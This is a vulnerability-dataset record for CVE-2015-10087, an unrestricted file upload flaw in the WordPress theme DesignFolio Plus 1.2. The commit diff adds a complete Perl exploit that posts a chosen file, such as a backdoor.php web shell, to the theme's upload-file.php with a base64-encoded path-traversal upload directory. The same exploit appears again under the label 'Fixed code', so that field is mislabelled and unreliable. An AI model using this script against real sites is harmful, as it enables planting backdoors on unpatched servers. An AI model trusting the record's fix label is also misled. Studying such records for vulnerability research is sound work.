CVE-2015-10087: Unrestricted Upload of File with Dangerous Type (CWE-434)
value: ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability has been found in UpThemes Theme DesignFolio Plus 1.2 on WordPress and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 53f6ae62878076f99718e5feb589928e83c879a9. It is recommended to apply a patch to fix this issue. The identifier VDB-221809 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
CWE description: The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
CVSS v3 base score: 8.8
Published: 2023-03-07T15:15Z
Repository: https://github.com/CCrashBandicot/exploit
Language: Perl
Files changed: DesignFolio.pl
Commit date: 2015-07-07 18:55:00 +0200
Commit message: WordPress Theme DesignFolio Plus 1.2 - Arbitrary File Upload Vulnerability
Diff: diff --git a/DesignFolio.pl b/DesignFolio.pl
new file mode 100644
index 0000000..701cb07
--- /dev/null
+++ b/DesignFolio.pl
@@ -0,0 +1,30 @@
+#!/usr/bin/perl
+  
+use Digest::MD5 qw(md5 md5_hex);
+use MIME::Base64;
+use IO::Socket;
+use LWP::UserAgent;
+  
+    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
+        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
+  
+$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
+  
+($target ,$file) = @ARGV;
+  
+die "$use" unless $ARGV[0] && $ARGV[1];
+  
+if($target =~ /http:\/\/(.*)\//){ $target = $1; }
+elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
+elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
+elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
+  
+my $addr = inet_ntoa((gethostbyname($target))[4]);
+my $digest = md5_hex($addr);
+my $dir = encode_base64('../../../../');
+  
+my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
+$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
+if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
+  
+__END__

Fixed code: #!/usr/bin/perl
  
use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;
  
    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
  
$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
  
($target ,$file) = @ARGV;
  
die "$use" unless $ARGV[0] && $ARGV[1];
  
if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
  
my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');
  
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
  
__END__